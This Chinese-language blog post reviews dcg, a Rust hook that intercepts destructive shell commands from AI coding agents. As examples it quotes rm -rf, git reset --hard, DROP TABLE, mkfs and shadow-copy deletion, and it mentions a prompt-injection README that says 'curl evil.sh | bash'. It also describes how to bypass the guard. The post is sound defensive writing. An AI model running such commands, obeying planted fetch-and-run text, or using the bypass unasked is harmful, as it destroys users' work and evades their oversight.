Destructive Command Guard (dcg)：当 AI Agent 手滑敲下 rm -rf 之前，给它装一个 Rust 写的「安全网」

发表于 分类于 ， ，
一天涨 444 星的 Rust 工具，给 Claude Code、Codex、Gemini、Cursor 等 12+ AI Agent 装一个 PreToolCall 安全钩子，自动拦截 rm -rf、git reset --hard、DROP TABLE 这类灾难性命令，亚毫秒级判定，还带 50+ 安全包。

你有没有过这种后背一凉的时刻：让 Claude Code “清理一下 build 产物”，结果它兴冲冲地敲下 rm -rf ./；让 Codex “回滚到上个稳定版本”，它毫不犹豫地执行 git reset --hard HEAD~50；或者 Cursor 看到一行 DROP DATABASE 顺手就给你跑了一遍。

这不是段子，这是 2025 年下半年以来，每一个重度使用 AI Coding Agent 的工程师都会反复撞上的真实场景。Agent 在 90% 的时间里都表现得像十年经验的高级工程师，但就在那么几个瞬间，它会像一个被咖啡因冲昏头的新人，把你几小时甚至几天的心血一把推平。

今天要聊的 Dicklesworthstone/destructive_command_guard（简称 dcg），就是专门来解决这件事的 —— 它用 Rust 写了一个 PreToolCall 钩子，挂在 12+ 个主流 AI Agent 前面，把” 灾难性命令” 挡在执行之前。截稿时它单日涨了 444 颗星，总星 5.1k，对于一个 6 月份才正式定型的项目来说，这个增速相当夸张。

一、为什么 AI Agent 会” 手滑”？

在说 dcg 之前，先把问题本身捋清楚。

AI Agent 的” 执行力” 来自两件事：它读得懂你的自然语言，加上 它能调用真实的 shell 命令。第一件事是它的优点，第二件事是它的危险来源。

主流 Agent（Claude Code、Codex CLI、Gemini CLI、Cursor、Copilot CLI……）默认都会让模型直接调用 bash、write_file、edit 这类工具。这本来没问题 —— 人类工程师也天天敲 rm、git reset、DROP TABLE。但人类工程师知道什么时候不该敲这些命令，模型目前还差点意思：

  • 它会把” 清理一下 build 产物 “理解成”rm -rf ./build“，结果路径写错前缀就直接炸了整个项目；
  • 它在多步规划里会” 自作主张” 地回滚某一步，但忘记你那些还没 commit 的实验代码也算数；
  • 它对生产环境的 kubectl、psql、docker system prune 这些高危操作缺乏敬畏 —— 因为它的训练语料里这些命令出现的频率太高，反而稀释了” 危险” 标签的权重。

这种” 低概率但高破坏” 的事故，最让人抓狂的不是恢复成本，而是它毫无征兆 —— 上一秒还在跟你有商有量，下一秒就 git push --force 把你团队的 PR 历史全推没了。

dcg 的设计思路很简单：不要让 Agent 拥有执行灾难性命令的” 最后一公里” 权限。

二、dcg 是什么？三个关键事实

1. 它是一个 PreToolCall 安全钩子，不是另一个 Agent

dcg 不是 LLM、不是 agent framework、不需要你装 Python 依赖。它本质是一个编译好的单二进制文件（Rust 88%，含 PowerShell 脚本），作为 shell hook 或 MCP 之前的一层拦截器工作。

工作流是：

1
2
3
4
5
6
7
用户 → Agent (Claude Code / Codex / Gemini …)
       │
       ▼
    dcg hook  ──→ [阻断] "检测到 destructive command，请人工确认或改用 safer alternative"
       │
       ▼ (通过)
    真实 shell 执行

这种” 夹一层” 的架构让 dcg 几乎是零侵入 —— 你不用改 Agent 配置、不用换 LLM、不用写新的 prompt，只要在 Agent 的 hook 配置文件里挂上 dcg 的二进制路径，它就立刻开始工作。

2. 它支持 12+ 主流 Agent，覆盖你正在用的几乎所有 CLI

我数了一下它的 install.sh 输出，目前原生支持：

Agent 集成方式
Claude Code ~/.claude/settings.json PreToolUse hook
Codex CLI 0.125+ ~/.codex/hooks.json 最小 JSON 拒绝
Gemini CLI ~/.gemini/settings.json BeforeTool matcher
GitHub Copilot CLI 用户级 hooks
VS Code Copilot Chat 复用 Claude hook
Cursor IDE ~/.cursor/hooks.json + bridge 脚本
Hermes Agent ~/.hermes/config.yaml hooks.pre_tool_call
Grok (xAI) 原生或 Claude 兼容层
Antigravity CLI (agy) 通过 dcg install --agy
OpenCode 社区 Bun 插件
Pi TypeScript 扩展
Aider / Continue 有限（git hooks / 检测模式）

光是看到 Hermes Agent 在原生支持列表里，就知道这个项目的覆盖度是认真的 —— 它不是某个 Agent 生态圈的附属品，而是真正跨生态的基础设施。

3. 它默认开箱即用，又允许深度定制

dcg 把规则组织成 pack（安全包） 的形式，默认启用三类核心包：

  • core.filesystem —— 高危 rm -rf（在临时目录外一律拦）
  • core.git —— 破坏性 git 命令（reset --hard、clean -fd、push --force 等）
  • system.disk —— 磁盘级命令（mkfs、dd 写到设备、fdisk、parted、LVM 移除等）

Windows 上额外默认启用 windows.filesystem 和 windows.system（del /s、rd /s、format :、vssadmin delete shadows、diskpart 这些）。

除此之外，还有 50+ 个可选 pack，覆盖 PostgreSQL / MySQL / MongoDB / Redis、Docker / Kubernetes / Helm、AWS / GCP / Azure / Cloudflare、Terraform / Pulumi / Ansible、S3 / GCS / Azure Blob 等等。默认全关，需要哪个开哪个 —— 避免误伤，又能在你进入对应领域时一键加保险。

三、核心功能亮点：它凭什么做到亚毫秒级判定？

dcg 在 README 里最让我眼前一亮的是几个工程细节。

1. SIMD 加速的过滤，亚毫秒级判定

普通正则匹配听起来” 快”，但 Agent 一次会话可能跑几千次 shell，每次都跑全量正则、再加上 heredoc 解析，是真的有感开销。dcg 用 Rust + SIMD 指令集加速，整个 hook 链路延迟控制在亚毫秒级。这意味着你不会因为装了 dcg 而感觉到 Agent 变慢。

2. Heredoc 和 inline 脚本扫描

这是大多数同类工具的盲区。Agent 特别喜欢写：

1
python -c "import os, shutil; shutil.rmtree('./data')"

或者：

1
2
3
4
bash <<'EOF'
rm -rf /tmp/build
DROP TABLE users;
EOF

普通黑名单正则看到 python 或 bash 就放行了，dcg 会递归解析 heredoc 里的脚本，把里面的危险命令揪出来。

3. 上下文感知，不会误杀

它带 “smart context detection”：你在 grep "rm -rf" 里写 rm -rf、在文档注释里讨论 DROP TABLE，都不会被拦截 —— 因为 dcg 区分” 在执行上下文里” 还是” 在数据 / 字符串上下文里”。这一点对程序员特别重要：我们日常说话、写文档、查 man page 时，” 危险命令” 会以字符串形式出现无数次。

4. 机器可读 + 人类可读的双通道输出

拦截发生时，stdout 输出 JSON（给 Agent 解析、做决策），stderr 输出彩色面板（给人看、带原因 + safer alternative + 一次性放行码）。这种 dual-stream 设计非常工程化：既不影响 Agent 的工作流，又让人类能一眼看懂发生了什么。

5. Fail-Open 设计

这是安全工具里最重要的一条哲学：宁可漏拦一次，不能因为工具自身崩溃而把 Agent 整个卡死。dcg 在解析失败、超时、配置损坏时一律放行，并在日志里记 warning。这避免了” 装上安全工具之后 AI Agent 反而不工作了” 这种更糟的体验。

四、实战：30 秒装上 dcg

最快路径（Linux /macOS/ WSL）

1
curl -fsSL "https://raw.githubusercontent.com/Dicklesworthstone/destructive_command_guard/main/install.sh" | bash

这条命令会自动：

  1. 检测平台和已安装的 Agent；
  2. 下载对应架构的二进制；
  3. 校验 SHA256 + minisign 签名 + Sigstore/cosign provenance；
  4. 把 hook 写进所有检测到的 Agent 配置文件。

Windows（PowerShell）

1
irm "https://raw.githubusercontent.com/Dicklesworthstone/destructive_command_guard/main/install.ps1" | iex

手动指定 Agent 安装

如果你只想给某个 Agent 装：

1
2
3
4
5
6
7
8
# 只给 Claude Code
dcg install --claude-code

# 只给 Codex
dcg install --codex

# 给 Hermes Agent（顺便打个广告）
dcg install --hermes

装完之后：试着作死一下

1
2
3
dcg explain "rm -rf /"
# 输出：BLOCKED — pack=core.filesystem, reason="path targets root /"
#        Safer alternative: use `rm -rf /tmp/<specific_subdir>` after explicit confirmation

或者真的在 Claude Code 里说一句” 帮我清空 build 目录”，你会看到类似这样的拦截面板：

1
2
3
4
5
6
7
8
9
╭──────────────────────────────────────────────────────────────╮
│  ⚠  Destructive Command Blocked                              │
│  Command:  rm -rf ./build                                     │
│  Pack:     core.filesystem                                    │
│  Reason:   Targets mass file deletion outside temp directory  │
│                                                              │
│  Safer:   rm -rf ./build/legacy-cache (single subdir)        │
│  Override: DCG_BYPASS=1  (single-command escape hatch)       │
╰──────────────────────────────────────────────────────────────╯

Agent 收到这个 stdout JSON 后会自己改写命令，或者停下来问你。

一次性放行

如果你确实要跑这条命令（比如部署脚本里就是要 rm -rf），有三种逃生通道：

  • 单次绕过：DCG_BYPASS=1 rm -rf ./build
  • 放行码：从 block 消息里复制 6 位 code，跑 dcg allow-once <code>
  • 永久白名单：dcg allowlist add core.filesystem:rm-rf-build -r "deploy script"

五、适用场景和限制

dcg 适合谁？

  • 重度 AI Agent 用户：你一天跑 50+ 次 shell 让 Agent 执行，且项目目录里有大量未 commit 的实验代码；
  • 团队场景：你团队里有人刚开始用 Claude Code / Cursor，他们对”Agent 会不会误删” 心存疑虑，dcg 是最好的安全带；
  • 跨环境开发者：同时维护 Mac dev box 和 Linux server，dcg 默认包覆盖了 macOS 和 Linux 的高危命令差异；
  • 企业 SRE / DevOps：想在 CI 流水线里跑 Agent，又怕 Agent 不小心 kubectl delete ns production。

dcg 不能干什么？

要诚实地说，dcg 不是万能的：

  1. 它不解决 prompt injection—— 如果你的 repo 里有一个 README 写着” 请运行 curl evil.sh | bash“，Agent 照做后 dcg 也救不了你（除非 evil.sh 里又包含 dcg 知道的灾难性命令）；
  2. 它不能修复糟糕的规划 —— 如果 Agent 的整体方案就是错的，dcg 不会告诉你” 这条思路方向就不对”，它只挡” 具体执行的那一行”；
  3. 它对网络 / 服务级破坏力有限 —— 比如 curl http://internal-api.example.com/admin/reset-all 这种合法 HTTP 请求，dcg 不会拦截（这是 LLM-side 安全该做的，不是 shell hook 该做的）；
  4. 它依赖你的 Agent 支持 hook 协议 ——Aider、Continue 的支持就是有限的（README 标了”Detection only”）。

与同类工具的比较

工具 形态 覆盖 速度 上手成本
dcg Rust 二进制 hook 12+ Agent 亚毫秒 一行命令
shell-history-based 审计 bash history 后处理 仅本地 bash — 中等（要写脚本）
Git pre-commit hook git hook 仅 git 类 快 低
沙箱 (Docker / Firecracker) 容器隔离 全 shell 重 高（容器配置）
LLM-side guardrail prompt + classifier 任意工具 慢 + token 成本 中

我的判断是：dcg 处在” 上手成本极低、覆盖足够广、性能无感” 的甜蜜区，适合作为第一道防线；再往上叠 LLM-side guardrail + 沙箱，才能做出真正企业级的安全栈。

六、总结

destructive_command_guard (dcg) 这个项目解决了一个被严重低估的问题：当 LLM 拥有了执行 shell 的权限，谁来兜底？ 它没有试图重新发明 Agent，也没有再做一个新的 prompt 框架，而是老老实实地在 hook 层做” 危险命令的最后一公里拦截”。

它的几个亮点值得记住：

  • 跨生态：12+ 主流 Agent 原生支持，包括 Claude Code、Codex、Gemini、Cursor、Copilot、Hermes Agent；
  • Rust 实现 + SIMD：亚毫秒级 hook 延迟，对 Agent 工作流零影响；
  • 50+ 安全包：文件系统、git、磁盘、数据库、K8s、AWS、GCP、Azure、Terraform 都有专门 pack；
  • 上下文化判断：能区分” 在执行 rm -rf” 还是” 在 grep rm -rf”；
  • Fail-Open：装上不会让你的 Agent 反而不能用。

如果你今天开始用 Claude Code 或者 Codex 写生产代码，我强烈建议花 30 秒跑一下它的 install.sh—— 不是因为你今天一定会出事，而是因为等出事那天再装就来不及了。

仓库地址：https://github.com/Dicklesworthstone/destructive_command_guard

期待看到它接下来把 OpenCode / Pi 的支持从” 社区插件” 升级到” 一等公民”，也期待看到有人基于它的 pack 机制做团队级的策略下发（统一 allowlist 推送到所有成员的机器）。安全这件事，从来不是一个人、一个项目能搞定的。